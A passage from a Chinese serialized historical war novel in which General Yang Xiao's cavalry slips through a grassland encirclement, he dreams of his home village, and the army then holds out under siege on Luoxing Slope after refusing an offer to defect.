经过这半个多月来与敌人不断的周旋,虽然躲过了敌人几次的围追堵截,在自身没受到多大损失的情况下也给敌人带去了不少的麻烦,但在敌人的围堵之中也是几次都被打断了返回西梁的路程,形势越发的不容乐观了。 “这半个月来鞑子们似乎是摸清了咱们的行动规律,围堵的次数越来越频繁不说,就连沿途的大小部落也全都离开了往常的聚居地。敌人的围堵还在次要,现在的关键是,找不到他们的部落聚居之处,咱们的补给就会断绝。尤其是战马,连日奔波下来,战马的损失实在是有点多,已经有点影响到咱们的行军速度了,要是再得不到补充的话,恐怕就要被敌人追上来了。” 趁着临时歇脚的功夫,王燕兴向杨笑汇报着这些日子来将士们遇到的情况。 杨笑听完王燕兴的话后点点头:“嗯,这些情况其实都在咱们之前的预料之中。你看,从这里往南再有三天的路程就是夜狼山,只要进了山,敌人再想堵住我们就没那么容易了。到时候自们可以在山里暂避几日,然后再找机会返回南边的红石城。在那里休整一下后,自们就可以绕道回到陛下所在的大营了。” 王燕兴的目光随着杨笑在地图上的手指移动着,最后停留在一个名叫红石城的边境屯军小城上:“嗯。这确实是眼下最好的办法了。” 杨笑收起地图微微一笑:“咱们在鞑子们的后院里闹的也不轻了,是时候该回去了。” 王燕兴也笑道:“那老可汗想必气的都要跳起来,陛下那边应该也有结果了。” 杨笑把地图递给一旁的侍卫:“咱们说老就走。” 二人翻身上马扬鞭而去,身后大军呼啸跟随。 杨笑此去能否顺利带领众将士脱离险境?这一路上又会遇到什么危机?欲知后事如何,且听下回分解! 第一百五十三回 胜利的伏笔 上一回说到杨笑等人想要避开狄戎族人的堵截,借助山林的掩护,从而返回大周王朝所控制地带。 且说杨笑带领众将士一路上马不停蹄,一直跑到了临近傍晚的时候,这时忽有探马来报:“禀将军,前方发现敌人踪迹。” “对方有多少人马?”杨笑勒住马缰问道。 “回将军,对方约有百十余骑,似乎是一支负责巡逻探查的小股部队。” 这半个多月来,敌人的包围圈越缩越紧,此时正是杨笑他们跳出包围圈,摆脱当前危机的关键时刻,若是这时候让敌人提前知道了他们的行动去向,其后果可想而知。 杨笑闻言立刻吩咐道:“楚将军,立刻安排人手,一定要把们留下来,绝不能让他们把咱们的踪迹传递回去。” 杨笑身侧一员将领抱拳领命道:“末将遵命!”随即那将领转身对其下属校尉吩咐道:“你们几个带齐人马跟我来。记住,要分头包抄,千万不要让他们跑了。” 很快,有数百骑在那名斥候的带领下离队而去。杨笑这边则是带领众人继续赶路。 谁曾想刚走出十多里就又有探马来报,说是又发现十余骑敌军人马正向这边靠近。 王燕兴皱眉道:“难道敌人这么快就摸清了咱们的动向。” 杨笑摇头道:“不应该,有可能是他们扩大了搜索探查的范围。如果他们这么快就搞清楚咱们的动向的话,不会只安排这么点人手的。” “那会不会是这附近有什么大一些的部落?必经现在鞑子们的部落全都离开了原来的越冬地,不能再以地图上的位置为准了。”王燕兴分析道。 杨豹闻言在一旁叫道:“那不正好?咱们顺手再干他一把。” 王燕兴看了杨豹一眼说道:“咱们现在最重要的就是摆脱敌人的追击进入夜狼山,万不能在此时义气用事。” 杨豹则有些不以为然:“怕什么?到时候大不了跟鞑子们拼了就是!” 杨笑抬手止住二人道:“王将军说的没错,当务之急是赶快进入夜狼山,稍作停留就有可能被敌人追上,不能因为任何原因被绊住脚步。”杨笑言罢又对身后一名校尉吩咐道:“去做掉他们。” 校尉领命而去。 接连出现的敌人让杨笑越发在心中感到不妙,于是他向众将士高声命令道:“所有人全速前进,没有我的命令一刻都不准停留!” 很快便有传令兵向各路队伍飞驰而去:“将军有令,全速前进,不得停留!” 一声声的传令声不断的在各路队伍中响起,众将士全都扬鞭催马,再次把速度加快了几分。 谁知道刚往前走了没一会儿,那先前离开队伍,负责去剿灭敌军斥候小队的校尉就高喊着“报”字飞奔而回。从他那张写满了“紧急”两个字的脸上,杨笑就知道是有他不愿意看到的事情发生了。 “是不是没有留住他们?”不等那校尉开口杨笑便急忙问道。 “不,将军,那几个鞑子全都被我们结果了。但我们发现他们其实只是一支敌军骑兵派出来探路警戒的前哨人马,而且那支骑兵好像已经发现了咱们,正在向这边靠拢过来。”那校尉急忙回道。 “什么?”杨笑惊问道:“他们有多少人马?离这里着还有多远?” “大概有四五千人马,距此不足十里。”那校尉一指身后,急忙回道。 杨笑预感到了会有不好的情况发生,但没想到事情比他想的还要坏上百倍不止。 他抬头看了一眼天色,此时正值夕阳将尽,明月初升,日月交辉之际。高悬当空的是一轮又圆又大的满月,而且天上连一片云彩都没有。今晚注定是一个明月夜。 明亮的月色也打破了杨笑打算利用夜色来甩脱敌人的念头。在这样明亮的夜色下,双方又距离如此之近,想要靠夜晚的掩护来摆脱敌人,多少都有点不切实际。可要是被这样一支敌军给咬住了,说损失惨重那都是轻的,搞不好就要被敌人给包了饺子。 想到这里,杨笑猛的勒住马缰停了下来。前后相随诸将也全都勒紧缰绳停住了脚步。 正在飞驰的战马突然间被勒住缰绳,战马巨大的前冲之势无处释放,纷纷嘶鸣着扬起前蹄站了起来。 一时间战马嘶鸣之声响彻不断。 不等稳住胯下战马,杨笑便急令道:“王将军带人左路包抄,徐将军向右路包抄,其他人跟我正面接敌。争取一次冲锋就把他们全部打垮,然后立刻向南离开,不要多作停留。” “是,骁字营跟我来!” “屠字营跟着我!” “羽字营往这边。” 一时间各路将领纷纷带领麾下人马领命而去。 杨笑也在说话间接过了身边侍卫递过来的铁枪,呼喝一声,一夹胯下马腹向前疾驰而去。 距此数里之外的地方,一支狄戎族的军队正慢慢悠怒的走在草原上。这四五千人马本来在南苑境内负责物资押运和后方巡逻警戒,是一支跟充数的炮灰强不了少的三线军队。 因为杨笑赞狄戎族的腹地一通大闹,把人家好好的后院给搅和的鸡飞狗跳,使得原本要去驰援前方的混邪王不得不改变行程,带着押粮的队伍和自己的亲兵卫队来抓杨笑这群招人恨的家伙们。 混邪王深知,对方既然能在己方的腹地来去自如,定然不是一伙泛泛之辈,只凭自己的亲兵卫队再加上这点押运粮草的草包兵马跟本不是其对手,于是就修书一封要求前方借一批精锐兵马前来援助。 哪知道金帐王和南苑王联名反对他的要求,理由是前方战事正紧,跟本没有兵马可派。不但如此,二人还在大可汗面前参了混邪王一个“懈怠不前,始误军机”的罪名。 各位看官,这种情况就好比各位看官老爷们平时打游戏。前面队友们在龙炕开了团,而刚出泉水的辅助这时候却发现,对面的打野已经把兵线带上了高地,于是辅助就改道去清理兵线,并向自方队友发出了保护水晶的信号。而这时队友们非但不谅解,反而还骂他不参团,并且集体投诉了他一波。你说气人不气人? 没办法,混邪王只得一边加速往回赶,一边向周边各处部落要人。 这样一来就又出现了另一个问题。那就是各个部落的青壮人口基本上全都被征调上了战场,剩下来的可用之人实在是不多,有许多小部落甚至连一个人都派不出来,至于那些被杨笑扫荡过的部落,就更不要提了。 也正是因为周边部落无兵可调,远一些的一时半会儿又赶不过来,所以才让杨笑有机可乘,屡屡跳出混邪王的包围圈,又在这片草原上逍遥了半个多月。 现如今,混邪王已经集齐了十多万兵马,在这十几万人的围追堵截之下,杨笑也不得不跑路了。 这时候混邪王就又说话了,人我已经把他逼到墙角了,你们这时候派点人过来帮忙堵一下门,这个要求总不过分吧? 于是,大可汗就从前方协调出几支人马,凑了两三万人过来一起围堵杨笑。 再说眼前之支狄戎族的队伍,人家本来跟在前线队伍的屁股后头,负责押送押送粮草物资,转运一下伤员什么的,有空的时候再溜溜达达的巡逻一下。虽然不能跟在家的时候比,但在战火连天的军营里来说,这样的日子混得也还是可以的。现在忽然让他们调过头来后方改前锋,要让他们冲锋陷阵了,说实话,心里头是老大不乐意的。 心里面不乐意,行动的时候就难免会有些拖拖拉拉。 晃晃悠悠的在草原上走了好几天,突然就跟要围剿的周军撞了个照面,领军的将领立刻就激动了起来。 当然啦,是属于害怕的那种。 这个时候,凭着自己这点可怜的兵力去挡这帮亡命之徒的路,那跟本与送死无疑。于是那狄戎族的将领便一边下令全军戒备,一边改变行军方向想要躲开对方。与此同时又赶紧派人向混邪王通风报信。打算等这帮周军过去之后,自己再在后面远远的吊着,这么一来,即保证了自身的安全,又把功劳给挣了,两全其美,何乐而不为呢? 只可惜,自己的如意算盘打的噼里啪啦震天响,却没料到对面跟本不按常理出牌,直接就把自己给围了。 兵力悬殊,畏战思退,毫无斗志,失败是再所难免的。 只一个回合就被杨笑等人杀了个七零八落。只有一小部分人溃逃而去,其余的或死,或伤,或被俘。 当那名带兵的将领被押到杨笑面前时,杨笑只是随意的看了他一眼,然后就问道:“你是哪个部落的?归谁统辖?” 那将领老老实实的回答道:“在下是……厄不……小人是鹿尹部落的,归南苑王统辖。” 杨笑轻“哦”了一声喃喃道:“南苑王。”之后便向侍卫要来了笔墨。 很快,杨笑写好了一封信后交给了那狄戎族的将领,然后说道:“回去以后,把这封信交给你们的南苑王,就说杨某人向他问好。呃,对了,记得不要偷看哦,不然你们整个部落都会死的很惨的。” 那狄戎族的将领高举双手接过信后正在心里窃喜,没想到对方竟然这么轻易的就放过了自己,然后就听到了杨笑后面的那句话,尤其是他说的还那么的玩味。 那将领立刻就觉得,举在头顶上的哪里是一封轻飘飘的信,那是一块烫手的山芋,是一座能压死他的大山。 直吓得他深身颤抖不已。 直到周军们肆意的笑声消失在草原上,那将领才抹了把额头上的汗水,坚难的站起身来,然后一步一软的朝远处走去。 第一百五十四回 受困落星坡 杨笑带着众将士在月色下继续赶路,一直走到将近午夜的时候,天上明亮的月光和点点的星辰却被一片片乌云给遮了个严严实实。从十丈之外可辩人影到几乎伸手不见五指,一前一后给人的感觉就如同是换了一片天地一般。 看看这漆黑的夜空,杨笑在心里暗咕道:“早知道会这样就不该耽那半个时辰了。” 嘀咕归嘀咕,但赶路的脚步却不能停。 也不知道又走了多久,忽然就有人发现不远处似乎是有几点火光,紧接着就又传来了叫喊声和打斗声,转眼间四面八方就都打做了一团,没一会儿的功夫就到处都着起了一片片的火光。 借着火光大家才发现,原来是不知不觉间竟然走进了狄戎族的一处部落聚居之地。 原来,混邪王为了围剿杨笑等人,就下令方圆千里之地的所有部落全部离开当前的越冬地,以防止杨笑等人顺着地图找到他们,从而达到阻止杨笑获得物资补充的目的。 当下的这个部落就是在接到命令后,离开了自己的传统越冬地,来到了这个地方。 也是命运使然,也是和该他们倒霉。今天是他们来到这里后渡过的第一个夜晚,路途中舟车劳顿,来到这里后又忙着搭建帐篷,构筑营地,部落里不论男女老幼都已是十分的疲惫,天黑以后便很快的全都进入了梦乡。 那几个值夜放哨的人,也不知道是因为半夜睡着了,还是因为天太黑没有发现他们。总之,大家伙儿就这样稀里湖涂的走了进来。 燃起的大火让混乱中的人群分清了彼此,战斗也因此很快的就结束了。 杨笑等人望着周遭的情景全都在心里一阵后怕。幸亏这个部落不是很大,要不然的话,大家说不定就要留在这儿了。 众人担心火光会引来追踪的敌人,于是赶紧收拾一下后便出发了。 杨笑率领众将士又赶了半夜的路,很快就迎来了东方报晓。 天光放亮后众军又都加快了赶路的脚步。走了没多长时间就有探马来报:“前方发现敌军大队人马,看样子少说有一万来人。” 杨笑闻言声忙命队伍调头,挽了一个方向加速离去。 才走半日,又有探马来报:“左翼发现敌军,大约有五之数。” 杨笑于是再次转向,带领众军继续赶路。 待行到傍晚时,又发现有一股敌军向他们包围过来,杨笑于是再次换了个方向前进。哪知道刚往前走了没一会儿,又有一股敌人挡在了前面。好在这支敌军的人数并不多,杨笑于是把手中长抢一震,带领众将士硬闻了过去。 到了晚上众将士的路途也没有平静,险之又脸的避过了两支敌军,其中一支几乎可以说是擦肩而过,还与敌人的一小股侦查部队来了场迎面相遇。 行至第二天隅中时分,敌人已经形成了三面合围之式,只留一面尚有生机,将土于是不顾一切地向那处方向飞驰而去。就在众人即将跳出敌人的包围之时,却见又有一支敌军迎面而来。 若是被这支敌军堵在这里的话,当真是要陷入重重包围之中了。 就在这时,杨笑发现有一处敌军在行动上似乎有些脱节了,没能很好的跟进。于是杨笑便抓住敌军的这一漏洞,从两支敌军中间的缝隙中穿了出去。 但刚刚跳出包围圈的杨笑并没有迎来柳暗花明,又一支敌军挡住了他们的去路。 就这样,杨笑带着将士们在敌人的重重堵载之下,能躲就躲,能藏就藏,实在躲不过了,就捡敌人防备薄弱之处硬闻出去。在冲右突之中,很快就迎来了红日西斜。 日晡将尽,红日西垂。与敌人周旋了一天的杨笑还是没能逃出敌人的围堵。 此时,在杨笑的前方,远方天际的地平线上,黑压压的敌军连成了一条线。而被他甩在身后的敌人,也已经像一只大口袋一样,从后方和左右两侧围了上来。 此时此刻,众将士的处境真可谓是身陷绝境。 杨笑在马上举目四顾,只见四面八方都是敌人,只有东南方一角尚有一处缺口没有被敌人占握。 在那里,有一座高大的山丘突兀的耸立在天地之间。 此座山丘在地图上有个名称,叫做“落星坡”。 相传很久很久以前,有星辰自天而落,化而成山,又有天雷来劈这大山,直劈了七七四十九天,将一座高耸入云的摩天仞岳硬生生地给劈成了如今的低矮土堆。 或许在那座山丘的后面正是敌人包围圈上的漏洞,也或许在那山丘的后面也已经有大批的敌人正在等着自己。但此时的杨笑已经没有了选择,无论结果如何,抢在敌人之前占据那座山丘是他们唯一的希望。 高大的山丘占据了方圆十余里的地域。当将士们冲上山丘的那一刻,也是他们最后一丝希望破灭的一刻。 在山丘的那一边,同样是数也数不清的敌人。 马在奔跑的时候有两种姿态。 一种是奔马,马匹在跑动时前蹄和后蹄分别运动,四蹄腾空做跃进状。这种奔跑姿势速度快,暴发力强,缺点是非常耗费马的体力,人骑在上面也比较颇簸,比较考验骑手的技巧,通常用在短距离的冲锋时。 另一种叫做走马,采用这种奔跑姿态时,马的四蹄分别协调运动,无论什么时候都至少有一只马蹄着地。走马虽然在速度上没有奔马快,但其平稳性却很好,也很节省马的体力,可以把马的耐力最大限度的发挥出来,用在长途跋涉上再合适不过。 可再好的战马必经也是血肉之躯,无论是哪种奔跑方式,经过两三天一刻不停的奔跑,无论是人力还是马力都已经接近了极限。到了这时候,人马俱疲,将士们都有些跑不动了。 好在他们抢占了一个有利的位置,可以在这里固守一阵子,等喘口气后再寻伺机突围。 高大的山丘占据了方圆十里的地域,一道“人”字形的沟壑将山丘从中间分成了三份。 三个山头几乎一般大小,呈“品”字形分布在三个不同的方向,沟壑并不大,也不怎么深,据守其上的将士们相互配合起来还是很方便的,倒是一个适合防守的好地方。 围在四周的狄戎族人并没有急着发起进攻,似乎是在等待更多的人马到来,以便积蓄力量,到时候好一举拿下山丘上之帮招人恨的家伙们。 必经他们也跟在后面跑了两三天了,同样也累的够呛。 众将士们于是利用这段时间连忙构筑工事,分发食物和水,以便应对即将到来的苦战。 天黑以后,山坡下的狄戎族人竟然搭起了帐篷,生起了篝火,做起了饭来。 看样子他们真的是不着急进攻了。 杨笑于是命众人也生起火堆,杀马烤肉,好让将士们吃饱喝足后能好好的恢复一下体力。 待将士们全都吃饱喝足后,杨笑留下一些值守之人,让其余的人全都去休息。如果敌人不着急打上来的话,他可就要等夜深之后找机会突围出去了。 布置完一切后,杨笑也靠在一块大石头上,一边在心里盘算着接下来的计划,一边闭上眼镜养起了精神来。哪知这一闭眼竟沉沉的睡了过去。 杨笑这一睡,也不知道睡了多久,等他再睁眼时发现天已大亮。刺目的阳光晃的他睁不开眼。杨笑抬手遮住阳光,适应了好一会儿才慢慢的睁开了眼睛。 第一百五十五回 梦回三清镇 上一回说到杨笑这一睡,也不知道睡了多久,等他再睁开眼时发现天已大亮。 刺目的阳光晃的他睁不开眼睛。杨笑抬手遮住阳光,适应了好一会儿才慢慢的睁开了眼睛。 等他睁眼向四周看去的时候,才发现自己依然是在山坡上,只是这山坡哪里还有半点严冬里的萧瑟之像,分明是一片绿意盎然,青山如碧的盛夏时节。而他背靠着的也不再是什么大石头,而是一颗参天大树。 耳边蝉鸣声声,头上蓝天白云,脚下绿草茵茵,山上林木茂密,山下阡陌交通,放眼所及,俨然一片宁静祥和,生机勃勃的田园风光。 杨笑起身后拍了拍粘在身上的草木枝叶,向山下眺望一番后,便抬脚顺着山间小道向山下走去。 没一会儿,杨笑就来到了山脚下的一条乡间小路上。顺着这条乡间的泥土小路往前走了没多远,拐过一道山梁后就见到一条小河自山间流淌而下。 清澈的河水滋养着两岸的田地,绿油油的禾苗喝饱水后全都卯足了劲儿的长个头。 蜿蜒的小河上一座石桥横跨两岸,在石桥的那头是一座小村庄。 杨笑迈步走在脚下的田间小路上,小路两边一股股独属于乡野田园的清新气息扑面而来。杨笑已经许久不曾感受到这种能令人心旷神怡的气息了,不知不觉间便已陶醉于其间。 很快,杨笑就来到了小桥跟前,此时正有几个孩童站在桥栏杆上往河水里比赛着扎猛子。比的是看谁能扎得深,潜的远,看谁能把河底最深处的石头给抱一块上来。 石桥下,河岸边,也有几个孩童正拿着网兜在小河里搭着小鱼小虾。 几个孩童,有人捞得很投入,对身边的吵闹声充耳不闻;有的被桥上正在进行的比赛给深深地吸引住了,只顾着抬头看热闹,全然将钻进网里的鱼虾给忘到了一边;有的则埋怨那些人扎猛子时溅起的水花惊走了自己的鱼虾,想必多半是抓不到小鱼小虾就把气撒到了别人的头上,看那张被急到涨红的小脸,分明下一刻就要同桥上的孩童吵起架来。 看着桥上桥下玩闹的孩童们,杨笑不由得就扬起了笑脸。 曾经自己也是像这样跟小伙伴们玩闹着渡过了一个又一个夏天。仔细想想,那样美好的夏天仿佛就像是在昨天一般。 杨笑站在一边看着这一幕会心一笑,又不由得想起了自己小时候好像也像他们一样。 有时候自己是那个抓不到小鱼小虾就埋怨别人的;有时候自己是那个捞的十分投入,全然不顾身边其它事情的;有时候自己又是那个只顾着看热闹,结果把鱼网都给弄丢了的;当然了,更多的时候,自己是那个站在桥头上往河里扎猛子的。也当然,每次都少不了要被姐姐扯着耳朵给拽回去。为此可没少被小伙伴们笑话。 杨笑站在那里看了一会儿后,自嘲般的摇头笑了笑,便抬脚往桥上走去。 等杨笑走到桥上时,那些孩童们已经在欢笑和吵闹声中跑远了。 杨笑站在桥上,目光顺着那些跑远的孩童朝前望去。 可以看到不远处的村口有一座石头砌成的牌坊。牌坊下,一对石狮子早已在经年累月的风雨中磨光了皮毛,磨秃了爪牙。倒是石狮子旁边的两条垂带上面的石板,被小孩子们的屁股给磨的溜光水滑。也不知道磨破了多少孩童的裤子才成就了这份镜子般的光滑,又有多少孩童因此在父母那里获得了一个完整的童年。 牌坊上一块木质的牌匾,也在风吹日晒里裂开了大木小小的缝隙。上面的朱柒大字也早已斑驳不堪,依稀间可以看到上面写着四个大字:紫气东来。 在匾额的下面还雕刻着三个小一些的字:三清镇。由于有牌匾为其遮挡日晒雨淋,倒是还显得十分清楚。 “三清镇!” 杨笑瞳孔猛然一缩,从温馨祥和的山水田园风光中惊醒了过来。 “那不是我自己的老家吗?兴许只是名字一样呢?” 带着心中的惊疑,杨笑一边想着一边快步向那座牌坊走去。 来到牌坊下,杨笑抬头望去。那破旧匾额上的字分明看的更清楚了,就连那匾额上裂开的缝隙,那斑驳的花纹,还有那连嘴里的石球都看不住的石狮子,甚至是牌坊底座上缺掉的一角都和记忆中的一模一样。 这分明就是小时候村头立着的那座牌坊。 “我怎么会到了这里?这里难道真的就是三清镇?” 杨笑慌张的向四周张望,想要分辨出这一切到底是真是假。 就在杨笑四处张望之时,忽地,他似是心有所感一般,猛的转身看向身后。 在那边,那条一直通向村子中心的街道上,正有一名妇人拼命的向这边跑过来。 杨笑定睛一看,那妇人分明就是自己日夜思念了多年的亲娘 “娘!” 杨笑不禁失声喊道。 在那一瞬间,一股酸楚从鼻子里一直涌进了心间,泪水再也忍不住的夺眶而出。 杨笑张开怀抱,大步跑向自己的娘亲。 哪知道娘亲这时候却一边跑一边使劲儿的向自己挥动着手臂大声喊叫着: “笑儿,快跑!别过来,快跑……!” 杨笑这才发现,在娘亲的身后,所有的景物都变成了黯淡无光的灰黑色,那些事物就像是被火烧过的纸片一样,全都破碎成了一块块的碎片,然后变成飞灰,飞进了娘亲身后那道深不见底的,旋涡般的,黑暗深渊之中。 而此时,在那道黑暗深渊之中,正有一道道灰黑色的身影不断飞出。那些灰黑身影一个个全都是鬼面缭牙,身披破碎甲片,正如嗜血恶魔一般挥动着战刀,伸出鬼爪,抓向那奔跑中的妇人。 妇人拼命奔跑,眼看就要被身后恶魔抓住。 杨笑眼见以景,一时间无边怒火冲天而起。 他大吼一声:“何方妖魔,敢伤我娘,拿命来!” 杨笑大步向前,一跃而起,抽出腰间长刀向那些鬼影奋力砍去。 “咔嚓”一声巨响,银光迸射。 ……。 睡梦中的杨笑突然间手握刀柄惊坐而起。 第一百五十六回 血染落星坡 上一回说到杨笑从梦中惊坐而起。 身边的侍卫发觉杨笑的动静后立刻走上前来躬身询问道:“将军,怎么了?” 杨笑定定神后深呼一口气,他这才发现自己竟在这寒冬之中出了一身冷汗。 他紧闭双眼摇了摇头,好让自已清醒一些。随后说道:“没什么。现在是什么时辰了?” 那侍卫回道:“二更快过了。” 杨笑抹了把脸,随后站起身来说道:“通知兄弟们,准备行动。” 那侍卫抱拳称是后转身传令而去。 就在杨笑点视人马,众将士整顿装具准备发起突围的时候,突然就听到负责警戒的士卒告警道:“鞑子们上来了!” “列阵!” 负责在外围防御的人马中有人喊道。 不用杨笑刻意下令,各部将士就已自行展开了防御阵形。 众将士迅速就位,刚摆好防御阵形,就听到有阵阵破空之声传来。 “小心引箭!” 有人喊道。 话音刚落,就听到噼里啪啦的声音如雨点般响起,许多未来的及躲避的将士纷纷被从天而落的箭未射中。 敌人的箭顺风而来,射的又高又远,弓箭手可以躲在周军弓弩的射程之外不急不躁的弯弓搭箭,射出一波波的箭雨。但射出的箭矢也因为飞了很远的距离,从而威力大减。 另一边,包括杨笑在内的众将士们,因为自出发以来一直都在严冬中顶着寒风赶路,所以连人带马全都穿了不只一层的棉衣兽皮,一个个全都裹的像球一样,里面又都有盔甲护体,也因此,即便是被弓箭射中了,大多也都没受什么伤。 反应过来的众将士立刻寻找掩护全都躲了起来。 几波箭雨过后,敌人已经冲到了不足二十步的地方。 “放箭!” 就这么点的距离,别说是这些弓马娴熟的疆场老手,就是那些从未开过弓的雏儿,十有八九也射得中。 一支支弩箭当真是射的又狠又准。那些冲上来的狄戎族人一排排的倒下,不一会儿的功夫就全被射的溃退而一去。 只过敌人的进攻不会只有这一次,很快就又接连发起了数次冲锋。打退了东面的,很快又来了西面的,打退了西面的,还会有南面的,北面的。总之就是一晚上都没怎么消停。等到天亮的时候,阵地前的山坡上已经爬满了敌人的尸体。 天快亮的时候,天空中飘起了一朵朵雪花。 今年的雪来的特别晚。 雪虽然来的很晚,但下起来的时候却也是很猛,等到天空放亮的时候已经纷纷扬扬的下了厚厚的一层。山坡上的尸体被雪花覆盖住后,形成了一个个的小雪包,就像是满山遍野的坟茔一样。 风越刮越大,雪也越下越大。 这时,山坡下的狄戎族人生起了火堆,架起了锅灶,煮上了香喷喷的饭菜。而山坡上的众人却只能趁着这会儿功夫,就着雪花吃些干粮和肉干果腹。没办法,山上能烧的柴草早在昨晚就已经被他们给烧光了。 杨豹啃着手里的干粮,往山下啐了一口骂道:“这帮孙子,想用这招来恶心爷爷们,哼!你们还嫩的很!别说是这一顿,是再来个十顿八顿的,爷爷也不在乎。爷爷手里的雪花可是香甜的很呐!”说着还抓起一把雪塞进了嘴里。 就在这时,有一骑从狄戎族的阵营里走了出来。 来人在山脚下勒住马缰停了来。 那人胯一匹白马,穿一身红色狐裘,蹬一双黑色毛靴。 红裘,黑靴,白马。这一身装束在这皑皑白雪之中当真是惹眼。不由得便将山上众人的目光全都吸引住了。 “哟呵!这帮鞑子们这是又闹的哪一出啊?”有人打趣道。 “该不会是要把这娘们儿送给咱们吧?”又一人玩笑道。 “就这一个也不够分的呀!”有人开了头,自然就不会少了跟在后面起哄的。 “哈哈哈……。”众人听后全都哄堂大笑。 就在山上众人的玩笑声中,那一袭红裘抬手褪下了头上的帷帽,露出一张中年男子的脸来。 “我去你妈的!”有人立刻骂道:“老子还以为是个美人儿呢。搞了半天,原来跟老子一样,是个裤裆里挂橛儿的。” 众人又是一阵哈哈大笑。 山下之人肤色偏黑,留两撇八字胡,颌下一把短须,正是一路上对杨笑等人围追堵截的混邪王。 混邪王对于山上的嘲笑之声毫不再意。只见他在马上正了正身子,对着山上喊道:“杨将军真是滑溜的很呐!要不是本王从前方抽调回来的几支人马,正好堵住了将军的去路,还真是有些留不住将军呀!” 听到混邪王的话,杨笑也开口回道:“被困于此是杨某技不如人,混邪王大人有话就直说吧,不必绕弯子。” “将军果然是爽快人,那本王也就直说了。”混邪王顿了顿后接着说道:“杨将军可谓盖世之才,而本王也素有爱才之心。我主雄才大略,麾下兵强马壮,更有诸多世外高人相助,将来入主关内也只是早晚的事。正所谓,良禽择木而栖。将军若肯弃暗投明,本王可在我主面前保举将军,将来飞黄腾达指日可待,总好过为你那昏溃无能的朝庭继续卖命,在这冰天雪地里拼死拼活的强。” 杨笑闻言回道:“大王的好意杨某心领了。只不过,杨某奇怪的是,大王莫不是还活在过去?如今我大周早已改天换地,吾皇更是百年不遇的圣主明君。莫说你有世外高人相助,不过算些许妖人而已,就是再多上一些,我大周男儿也是不惧!” 混邪王听到杨笑的话后并没有什么过多的反应,只了淡淡的回道:“杨将军不必急于回绝,可以多想一想再做决定,就算不为自己着想,也要为手底下的兄弟们多想一想吧?” “不劳混邪王大人记挂。实活说了吧,杨某以及身后的众军兄弟,自从踏上这草原的那一刻起,就没有想过要活着回去!”杨笑回道。 听了杨笑的话后,混邪王又说道:“杨将军何必如此决绝。你我共襄盛举,共享荣华岂不快哉?” “谢混邪王好意。杨某过惯了苦日子,荣华富贵享不来。” “虽说将军屡屡回绝,但本王还是要问将军一句,将军可知此为何地?”混邪王转而问道。 “知道。”杨笑的回道简单明了。 “将军即使知道,本王也还是想要提醒将军一声。都说将军乃天兵下凡,将星临世,而此地却是名唤落星坡,将军行至此处却是犯了地煞,此乃大凶之兆,还望将军三思而行,好自为之啊!”混邪王耐着性子继续劝道。 只不过他的这些话在杨笑听来却是威胁的意思更多一些。 杨笑闻言微微一笑,回道:“谢混邪王大人好意,杨某心意已决,不必再说了。” 混邪王又道:“将军何苦如此?” 杨笑闻言,仰首回道:“无它,唯忠君护国尔!” 混邪王见状也不再劝说,而是把活锋一转,手指杨笑怒道:“竖子!不识抬举,冥顽不灵!今日,便叫你这将星陨落于此!” 混邪王说完便猛的一挥手,他后的大军之中立刻便有旗帜摇动,号角响起,发出了进攻的信号。 既然你不肯听我的话,那我就让你乖乖的听一听我的另外一句话,这句话就是:用实力说话! 进攻依然是以一阵阵密集的箭雨开路,只不过相较于夜间,这一次的进攻猛烈了不止一倍。 山坡上,众将士们早已用石块垒起了一道齐胸高的墙壁,敌人的弓箭射过来时,大家就躲在墙后面,或是往山坡的坡顶上再退一退。等到敌人的箭雨过去后,将士们再在墙壁后面向冲上来的敌人发起反击。 杨笑把手下人马分成三批来抵御敌军的进攻。 第一批人马站在最前面直面敌军,利用石头构筑的临时简易工事抵挡敌人的进攻。第二批人马在稍靠后一点的位置上,利用弓弩为前面的袍泽们提供支援,并随时准备替换前方受伤的袍泽。第三批则被留作后备人马,以便随时应对意外情况的发生。 三批人马轮流替换,对敌人形成有力抵抗的同时,也让大家都可以有一点喘息的时间,以恢复一下状态。 最前面的将士们分批轮流射击,强劲的弩箭射倒了一排排的敌人,把冲在前面的敌人一箭一个全都被射倒在地。稍靠后些的第二批人马,则向跟在后面的敌人射出一波波的箭雨,令冲上来的敌人损失惨重。 没过多久,敌人便被打退了,只在山坡上留下了一片尸体。 接下来,敌人又组织了几次冲锋,但相较之前的攻击强度,只能说是搔扰的性质更多一些。毫无意外的,都被将士们轻松打退了。就这样,在敌人不断的强攻或搔扰之中,仗一直打到了第三天。 很快的,时间就来到了三日后的中午。 正午刚过,狄戎族人就发起了更加猛烈的进攻。 不过这时候的山坡上,将士们已经利用战斗的间隙又垒起了一道矮墙。修筑这堵矮墙的材料不是别的,正是激战过后敌人留在战场上的人马尸体。 战争是极其残酷的,它没有丝毫浪漫可言,有的只是冷冰冰的,血腥的,你死我活的残酷现实。在以命相搏的战场上,性命尚且难保,尊严两个字有时候真的就是无稽之谈了。那些死在战场上的人,唯一的作用就是臭块儿地。如果这时候能利用敌人的尸体来保护自己,相信没有任何一个在战场上浴血奋战过的战士会拒绝。 尊严只属于胜利者! 那些尸体在寒风中冻了半天,早已经变的像石头一样硬梆梆的了,弓箭根本就射不穿。箭雨过后,众人立刻摆好阵势,躲在掩体后面射杀冲击而来的敌人。 不过敌人的攻击实在是太猛烈了,很快就冲破了第一道工事。将士们立刻放弃了这一道防御,退到用石头构筑的第二道防线后面继续抵抗敌人的进攻。 现在敌人要想冲到第二道防线跟前,首先得翻越那道尸体垒成的矮墙。在那堵墙上留有好几处缺口,从那些缺口处可以更轻松的越过这道障碍。只不过这些缺口都是故意留给敌人的陷阱,每一处缺口都会得到将士们的特殊照顾。 “嗖、嗖、嗖……。”箭矢划破空气的声音 不绝于耳,那些贫图省力的狄戎族人全都倒在了地上。涌进那些缺口的敌人真的是太多了,很快,敌人的尸体就几乎填平了那些缺口, 敌人的攻势十分的猛烈,没多大会儿的功夫就冲到了他们的面前,冲破了那堵石墙,和前方的将士们混战在一起。 站在第二梯队的将士们有一部分立刻冲上去支援前面的战斗,另一部分则留在原地继续放箭,以阻滞后续跟上来的敌人。 就在这个关键时刻,有两支骑兵转过山坡,分别从左右两个方向杀入了敌群,将攻上来的狄戎族军队类拦腰截断。 两支骑兵呈左右夹击之势一番冲杀,直杀的狄戎族人人仰马翻,惨叫连连。 被截断了后路的狄戎族人首尾难以相顾,一下子被打断乱了进攻的节奏,很快就被打退了。 虽然再次被挫败,但是犹戎族人并不打算给周军喘息的机会,立刻又从另一个方向发起了猛烈的进攻。 